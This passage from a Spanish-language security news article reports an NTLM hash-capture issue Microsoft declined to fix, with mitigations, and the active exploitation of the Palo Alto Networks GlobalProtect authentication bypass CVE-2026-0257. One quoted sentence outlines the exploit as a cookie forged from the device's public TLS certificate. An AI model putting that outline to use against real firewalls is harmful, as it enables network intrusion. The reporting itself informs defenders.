Como resultado, un actor de amenazas podría aprovechar el hash capturado para realizar ataques de retransmisión y obtener un acceso más profundo a una red. Tras la divulgación responsable el 15 de abril de 2026, Microsoft se negó a abordar el problema y afirmó que «solo los casos de gravedad importantes y críticos cumplen con nuestro estándar de servicio».

En ausencia de una solución, se recomienda bloquear SMB saliente (TCP/445 y TCP/139) en hosts que no lo necesitan, aplicar la firma SMB para que los hashes capturados no puedan transmitirse a servicios internos y deshabilitar NTLM cuando corresponda.

Los atacantes están explotando el defecto de Palo Alto Networks que inicialmente pasó desapercibido

Los investigadores y cazadores de amenazas están luchando para responder a una vulnerabilidad de omisión de autenticación explotada activamente que afecta los firewalls de los clientes de Palo Alto Networks.

La empresa inicialmente etiquetada CVE-2026-0257 con una calificación de gravedad media cuando reveló el defecto 13 de mayo, pero rápidamente lo reevaluó como crítico después de que Rapid7 observara y confirmara la explotación activa en la naturaleza. La Agencia de Seguridad de Infraestructura y Ciberseguridad hizo lo mismo y agregó la vulnerabilidad a su catálogo de vulnerabilidades explotadas conocidas Viernes.

La creciente amenaza que representa el defecto, que permite a atacantes remotos eludir las restricciones de seguridad y establecer una conexión VPN a un firewall afectado, muestra cuán rápidamente una vulnerabilidad aparentemente leve puede convertirse en una advertencia urgente.

«Palo Alto Networks está monitoreando activamente los intentos de explotación limitados dirigidos a CVE-2026-0257 en dispositivos PAN-OS sin parches donde no se han aplicado mitigaciones», dijo un portavoz de la compañía en un comunicado. El viernes, la compañía instó a todos los clientes a aplicar inmediatamente el parche o seguir los pasos recomendados para la mitigación.

El proveedor y Rapid7, que observaron la explotación por primera vez el 17 de mayo en un entorno de cliente, se negaron a decir cuántas organizaciones se han visto afectadas hasta el momento. Sin embargo, Douglas McKee, director de inteligencia de vulnerabilidades de Rapid7, advirtió: «Hemos seguido viendo llegar nuevas víctimas, incluido un par de clientes atacados con sólo una hora de diferencia durante una segunda ola de actividad» el 21 de mayo.

Jake Knott, investigador de seguridad de watchTowr, dijo a CyberScoop que la vulnerabilidad y los exploits resultantes siguen una tendencia recurrente en la que los atacantes apuntan a dispositivos expuestos en el borde de la red e identifican, desarrollan y utilizan rápidamente exploits para el acceso inicial.

«Ésta es otra omisión de autenticación en un dispositivo cuyo único trabajo es proteger la puerta de entrada a la red de una organización», dijo. «Lo que destaca es lo simple que es: un atacante puede falsificar una cookie de autenticación válida utilizando nada más que el certificado TLS disponible públicamente del dispositivo. Todo el exploit es una única solicitud HTTP».

La vulnerabilidad tiene algunos requisitos que limitan la exposición, específicamente representa un riesgo para algunos clientes de Palo Alto Networks que ejecutan el portal o puerta de enlace GlobalProtect configurado para permitir la anulación de cookies de autenticación.

«El certificado de cifrado y descifrado de cookies debe reutilizarse con otra característica, que potencialmente exponga la clave pública de ese certificado», dijo Caitlin Condon, vicepresidenta de investigación de seguridad de VulnCheck.

«Es difícil decir cuántas implementaciones cumplen con esos criterios de explotabilidad, pero los firewalls de Palo Alto Networks tienen una huella muy grande, lo que significa que incluso las configuraciones poco comunes pueden presentar una superficie de ataque significativa», agregó.

Rapid7 dijo que el mismo atacante o grupo probablemente sea responsable de ambas oleadas de explotación el mes pasado, pero en muchos casos los atacantes no establecen una conexión VPN completa ni se mueven a otras partes de la red afectada.

Los atacantes son «altamente oportunistas y claramente monitorean a la comunidad de investigación de seguridad», dijo McKee. «Los atacantes están utilizando deliberadamente como arma las vulnerabilidades de gravedad media, que suelen ser puntos ciegos o de menor prioridad para las organizaciones».

Múltiples grupos de amenazas están aprovechando la oportunidad y adaptándose rápidamente a ella. investigación publicada. Los investigadores no han atribuido la actividad maliciosa a ningún grupo de amenazas específico.

«Sus orígenes exactos y objetivos a largo plazo siguen sin estar claros, ya que actualmente parecen centrarse puramente en un acceso inicial oportunista en lugar de un espionaje dirigido a largo plazo», dijo McKee.

Palo Alto Networks dijo que descubrió la vulnerabilidad internamente mediante el uso de herramientas de inteligencia artificial de vanguardia. Sin embargo, a los pocos días de su divulgación pública, las evaluaciones iniciales resultaron inadecuadas.

«Este es un patrón que seguimos viendo: la urgencia sólo llega después de que la explotación ya está en marcha», dijo Knott. «Las organizaciones que esperan la confirmación de la explotación activa antes de aplicar el parche siempre reaccionarán demasiado tarde».

Matt Kapko

Escrito por Matt Kapko

Matt Kapko es reportero de CyberScoop. Su ámbito incluye delitos cibernéticos, ransomware, defectos de software y (mala) gestión de vulnerabilidades. El californiano de toda la vida comenzó su carrera periodística en 2001 con paradas anteriores en Cybersecurity Dive, CIO, SDxCentral y RCR Wireless News. Matt tiene una licenciatura en periodismo e historia de la Universidad Estatal de Humboldt.